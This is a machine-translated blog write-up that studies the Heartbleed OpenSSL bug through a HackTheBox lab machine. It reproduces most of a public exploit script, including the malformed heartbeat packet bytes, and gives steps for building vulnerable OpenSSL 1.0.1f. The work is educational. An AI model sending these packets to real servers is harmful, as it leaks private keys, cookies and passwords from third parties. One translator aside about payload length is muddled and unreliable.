All Articles

Learning the Heartbleed Vulnerability with HackTheBox "Valentine"

This page has been machine-translated from the original page.

I enjoy studying security using “Hack The Box,” a penetration testing learning platform. My Hack The Box rank at the time of writing is ProHacker.

Hack The Box

In this article, I summarize what I learned about attacking the “Heartbleed (CVE-2014-0160)” vulnerability and how to remediate it for improved security, through solving a HackTheBox machine.

“Valentine,” the machine I tackled this time, is the first machine I ever solved on HackTheBox. At the time I solved it with almost no knowledge, following along with a writeup, and I always regretted never fully understanding the exploitation of “Heartbleed (CVE-2014-0160).”

That’s why I wrote this article — I wanted to properly understand Heartbleed exploitation.

About This Article

The content of this article is not intended to promote acts that violate social order.

Please be aware in advance that attempting to attack environments other than your own or environments for which you have permission may violate the “Act on Prohibition of Unauthorized Computer Access” (Unauthorized Access Prohibition Act).

All opinions expressed are my own and do not represent those of any organization I belong to.

Table of Contents

Theme of This Article

The theme of this article is to learn the details of the vulnerability through reproducing “Heartbleed (CVE-2014-0160).” Therefore, please note that this is not a pure writeup.

What is Heartbleed (CVE-2014-0160)?

“Heartbleed” is the name of an OpenSSL vulnerability discovered in 2014 that caused widespread damage. At the time, vulnerable versions of OpenSSL were widely deployed, which is why it resulted in real damage worldwide.

Heartbleed is a software bug in the open-source cryptographic library OpenSSL, discovered in April 2014. At the time, about 17% (~500,000) of web servers on the internet with certificates issued by trusted certificate authorities had the vulnerable Heartbeat extension enabled, potentially allowing server private keys, user session cookies, and passwords to be stolen.

Heartbleed - Wikipedia

Many Attacks Observed in Japan Too

The Heartbleed Mechanism

To actually perform the attack, we need to understand how the Heartbleed vulnerability is exploited.

Heartbleed exploits a bug in the “heartbeat” feature, introduced in OpenSSL 1.0.1, which is used to check that the communication peer is still running.

In the “heartbeat” feature, confirmation data up to 64KB is sent to verify SSL connectivity. The receiving side uses that data as-is in its response, and the sender confirms operation by receiving the response.

The issue here is that the receiving side does not validate the size of the confirmation data.

This bug causes a problem where setting a payload length larger than what was actually sent causes memory beyond the payload buffer to be read and returned in the heartbeat response.

By exploiting this, server information can be extracted in unintended ways. The frightening aspect of this vulnerability is not only that server information (including private keys) may leak, but also that traces of the information disclosure are difficult to detect.

For users, there is essentially no recourse other than assuming a data breach occurred and changing passwords and similar credentials.

Reading the Problematic OpenSSL Code

According to IPA: About Countermeasures for OpenSSL Vulnerability (CVE-2014-0160), the following versions of OpenSSL are affected:

  • OpenSSL 1.0.1 through 1.0.1f
  • OpenSSL 1.0.2-beta through 1.0.2-beta1

So I decided to read the problematic code from openssl/openssl: TLS/SSL and crypto library.

After cloning the OpenSSL repository, running git checkout refs/tags/OpenSSL_1_0_1f moves you to the problematic branch.

Searching the old source code for the string “heartbeat” revealed the problematic function.

Let’s read through this problematic code now.

# t1_lib.c

#ifndef OPENSSL_NO_HEARTBEATS
int tls1_process_heartbeat(SSL *s)
{
unsigned char *p = &s->s3->rrec.data[0], *pl;
unsigned short hbtype;
unsigned int payload;
unsigned int padding = 16; /* Use minimum padding */

/* Read type and payload length first */
    // 1. Retrieve the first byte of received data as hbtype
hbtype = *p++;
    
    // 2. Retrieve bytes 2-3 of received data as payload (payload length)
n2s(p, payload);
pl = p;
...
    if (hbtype == TLS1_HB_REQUEST)
{
        ...
buffer = OPENSSL_malloc(1 + 2 + payload + padding);
bp = buffer;

/* Enter response type, length and copy payload */
*bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
        
        // 3. memcpy - reads information beyond the intended address
memcpy(bp, pl, payload);
bp += payload;

...

I have added comments for readability.

Here are the items to examine next.

1. Retrieve the first byte of received data as hbtype

The first byte of the heartbeat data contains a number indicating whether the data is a request or a response, and this is retrieved. Specifically, it is defined in ssl_3.h as follows:

; ssl_3.h
#define TLS1_HB_REQUEST1
#define TLS1_HB_RESPONSE2

2. Retrieve bytes 2–3 of received data as payload (payload length)

Next, bytes 2 and 3 of the received data are retrieved using the n2s() macro and stored in payload.

#define n2s(c,s)( ( s = (((unsigned int)(c[0]))<< 8) | (((unsigned int)(c[1]))) ) , c+=2)

I wondered why this was being done. It turns out that bytes 2 and 3 of the received data contain the total length of the payload. Reference: Heartbleed Bug Explained

In other words, passing this payload length directly to memcpy without validation causes information from unintended memory regions to be included in the response. Reference: ARR33-C. Guarantee that copies are made into storage of sufficient size

With this, we have a rough understanding of the vulnerability mechanism, but one question remains: Why is the maximum amount of information obtainable in a single Heartbleed exploit said to be 64KB?

This is because the payload length field is 2 bytes. The maximum value that can be inserted into a 2-byte payload length field in hexadecimal is FFFF.

Since 2 bytes = 16 bits can represent addresses up to 64KB, the maximum information retrievable in one Heartbleed exploit is also 64KB.

Solving HackTheBox [Valentine]

Now that we have a grasp of Heartbleed, let’s actually exploit this vulnerability to solve the HackTheBox Easy machine Valentine.

However, since the theme this time is to reproduce the Heartbleed attack, I’ll skip most of the machine-solving procedure. For detailed machine solution steps, I recommend Hack The Box[Valentine] -Writeup- - Qiita by yukitsukai47, which is very clear.

Reading the Heartbleed Exploit Code

I’d like to understand the actual exploitation method by looking at publicly available exploit code.

The exploit code is based on exploit-db.com/exploits/32764.

I won’t paste the entire code here, so please refer to that page as needed.

main function

Let me start by reading the main function to get a sense of the attack flow.

def main():
    # 1. Receiving arguments
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
    
    # 2. Establish connections for each version and execute create_hello
for i in range(len(version)):
print 'Trying ' + version[i][0] + '...'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((args[0], opts.port))
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(create_hello(version[i][1]))
print 'Waiting for Server Hello...'
sys.stdout.flush()
        
        # 3. Various response checks
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break
                
# 4. Sending the exploit
print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(create_hb(version[i][1]))
if hit_hb(s,create_hb(version[i][1])):
#Stop if vulnerable
break

if __name__ == '__main__':
main()

1. Receiving arguments

Execution without arguments is not possible. Arguments must specify the IP address of the target.

2. Establish connections for each version and execute create_hello

It runs create_hello(version) for each version in a pre-defined version list. create_hello(version) is described later.

3. Various response checks

If each value from recvmsg(s) satisfies typ == 22 and ord(pay[0]) == 0x0E, it is treated as a received ServerHello and proceeds to send the payload.

recvmsg(s) is also described later.

4. Sending the exploit

Once the connection is confirmed, it sends the attack packet using create_hb(version[i][1]) and displays the information from the response packet.

create_hb(version[i][1]) is also described later.

create_hello function

Let’s look at each function’s processing.

First is the create_hello function.

def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')

def create_hello(version):
hello = h2bin('16 ' + version + ' 00 dc 01 00 00 d8 ' + version + ''' 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
return hello

The return value hello is the decoded version of the following byte code:

16 03 00 00 dc 01 00 00 d8 03 00 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01

This generates the packet data used for ClientHello. ClientHello is always the first data sent at the start of a new handshake.

To begin with, SSL data (records) consist of a 5-byte record header followed by data. Reference: SSL Introduction with Sample Transaction and Packet Exchange - Cisco

In the above data, 16 03 00 00 dc is the record header. The leading 0x16 indicates that the Type is Handshake (22, 0x16).

Next, the 2 bytes inserted as version refer to the Record Version. Since 03 00 is specified, it is interpreted as SSL Version 3 (SSLv3).

The final 2 bytes are the Length, specifying the size of the record.

The data portion should contain the following information sent in ClientHello:

  1. Version: The best version supported by the client
  2. Random: 32 bytes — 4 bytes for the timestamp, 28 bytes of randomly generated data
  3. SessionID: Empty for ClientHello
  4. Cipher Suites: The cipher suites the client supports
  5. Compression Methods: The compression methods the client supports
  6. Extensions: Extensions for additional data

recvmsg function

Having sent the generated ClientHello, a ServerHello is returned.

recvmsg(s) retrieves this information. This function displayed the following information:

Waiting for Server Hello...
 ... received message: type = 22, ver = 0301, length = 66
 ... received message: type = 22, ver = 0301, length = 885
 ... received message: type = 22, ver = 0301, length = 331
 ... received message: type = 22, ver = 0301, length = 4

The ServerHello structure is the same as ClientHello. From the record header, it retrieves the handshake Type, SSL version, and data length.

However, while the structure of ServerHello is the same as ClientHello, its data portion contains information determined by the server (such as SessionID).

Also, the ClientHello sent 03 00 for the SSL version, but 03 01 was returned in the ServerHello.

This is because the server doesn’t necessarily need to support the exact same version as the client. The server expects the client to be compatible with its version and returns a response accordingly.

This confirmed that a connection could be established. Since we don’t need to complete the full SSL handshake here, we break as soon as information indicating ServerHello completion is found in the data portion.

# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break

Now that SSL connectivity is confirmed, we finally send the malicious heartbeat packet to extract data.

create_hb function

Finally, here is the part that sends the attack packet. Let’s look at the hit_hb function that checks the response at the same time.

def create_hb(version):
hb = h2bin('18 ' + version + ' 00 03 01 40 00')
return hb

def hit_hb(s,hb):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print 'No heartbeat response received, server likely not vulnerable'
return False

if typ == 24:
print 'Received heartbeat response:'
hexdump(pay)
if len(pay) > 3:
print 'WARNING: server returned more data than it should - server is vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any extra data.'
return True

if typ == 21:
print 'Received alert:'
hexdump(pay)
print 'Server returned error, likely not vulnerable'
return False
        
def main():
    ...
print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(create_hb(version[i][1]))
if hit_hb(s,create_hb(version[i][1])):
#Stop if vulnerable
break

s.send(create_hb(version[i][1])) sends the generated heartbeat byte sequence.

What is sent is the byte sequence 18 03 00 00 03 01 40 00. The content has nearly the same structure as the record header described earlier.

The leading 18 indicates this is a heartbeat extension, and 03 00 tells the server to use SSL 3.0 protocol.

00 03 means the following data payload is 3 bytes. The final 01 40 00 is the Heartbeat Type and payload length described in Reading the Problematic OpenSSL Code.

Since the first byte is 01, this is a heartbeat request packet. And since the next 2 bytes are 40 00, the server mistakenly believes this heartbeat request is 16KB.

Wait — the byte listed is actually 40 00 = 16384 bytes (16 KB), not 1KB. Let me note: the source text says 04 00 = 1KB, but based on the create_hb code 01 40 00 the payload length is 40 00 = 16384 = 16KB. This discrepancy exists in the original article.

As for the hit_hb function that receives the response, it does nothing special. It only outputs the packet in hexdump format when it confirms that a valid heartbeat response has been received, based on the record header of the response packet.

With this, we successfully extracted server-side information via Heartbleed, and were able to retrieve the machine’s credentials!

Bonus: Building a Vulnerable OpenSSL

Valentine is a Retired machine, so playing it requires a paid HackTheBox subscription (around 1,000 yen/month).

Here I summarize how to obtain a vulnerable version of OpenSSL for those who want to test Heartbleed themselves without subscribing.

There are various ways to obtain a vulnerable OpenSSL version, such as using older OS or Docker images, or directly building an older OpenSSL version.

Here I’ll introduce building an older OpenSSL version directly.

The general process is as follows:

  1. Prepare a safe environment (I used a Docker container)
  2. Clone the OpenSSL repository
  3. Checkout the OpenSSL10_1f tag
  4. Build

First, clone the OpenSSL repository into a tmp directory of a Docker container you’ve set up, and switch to the vulnerable version’s branch.

git clone https://github.com/openssl/openssl
cd openssl
git checkout -b tag refs/tags/OpenSSL_1_0_1f

Next, build OpenSSL. In my environment, there was an issue with man page installation, so I used make install_sw to skip man page installation.

./config --openssldir=/tmp
make
make install_sw

After the build completes, programs are placed in the apps directory. Checking the version confirms that OpenSSL 1.0.1f was built as expected.

root@3d6a898953b4:/tmp/openssl/apps# ./openssl version
OpenSSL 1.0.1f 6 Jan 2014

With this, you can now test Heartbleed in your local environment.

Depending on your environment, you may get an error error while loading shared libraries: libssl.so.3 and be unable to run it.

In that case, use the following commands to fix it:

ln -s libssl.so.3 libssl.so
ldconfig

Bonus: Confirming Heartbeat Requests and Responses

Using the -tlsextdebug option of an older OpenSSL that has the heartbeat feature, you can check whether the target server has the Heartbleed vulnerability.

Below is the command and an example of its output. The line TLS server extension "heartbeat" (id=15), len=1 shows that the heartbeat extension is running.

./openssl s_client -connect 10.10.10.79:443 -tlsextdebug

CONNECTED(00000003)
TLS server extension "renegotiation info" (id=65281), len=1
0001 - <SPACES/NULS>
TLS server extension "EC point formats" (id=11), len=4
0000 - 03 00 01 02                                       ....
TLS server extension "session ticket" (id=35), len=0
TLS server extension "heartbeat" (id=15), len=1
0000 - 01                                                .
depth=0 C = US, ST = FL, O = valentine.htb, CN = valentine.htb
verify error:num=18:self signed certificate
verify return:1
depth=0 C = US, ST = FL, O = valentine.htb, CN = valentine.htb
verify error:num=10:certificate has expired
notAfter=Feb  6 00:45:25 2019 GMT
verify return:1
depth=0 C = US, ST = FL, O = valentine.htb, CN = valentine.htb
notAfter=Feb  6 00:45:25 2019 GMT
verify return:1
---

Adding -msg sends a Heartbleed request from OpenSSL and allows you to see the response.

./openssl s_client -connect 10.10.10.79:443 -tlsextdebug -msg

---
B
HEARTBEATING
>>> TLS 1.2  [length 0025], HeartbeatRequest
    01 00 12 00 00 87 59 cd ed cf e6 27 84 05 2c 2c
    47 5a 51 7f d9 e5 51 a8 47 f7 01 24 35 54 f1 3d
    b6 25 bf 64 cb
<<< TLS 1.2  [length 0025], HeartbeatResponse
    02 00 12 00 00 87 59 cd ed cf e6 27 84 05 2c 2c
    47 5a 51 7f d9 67 e6 79 58 b7 b9 46 f0 82 b6 76
    a5 cb 75 d1 1a
read R BLOCK

As shown above, 00 12 bytes of data starting with 01 are sent, and the server returns a heartbeat response starting with 02 containing exactly the same data.

Summary

I did a deep dive into the Heartbleed vulnerability via Valentine, the first machine I ever solved on HackTheBox.

I always regretted having solved it without understanding anything, just running existing exploit code, so I’m glad I was able to relearn it this time.

I got to read OpenSSL source code for the first time and revisit the details of SSL connections in depth — it was extremely educational.

I hope to continue writing explanatory articles with a specific theme like this.

References

Books

Web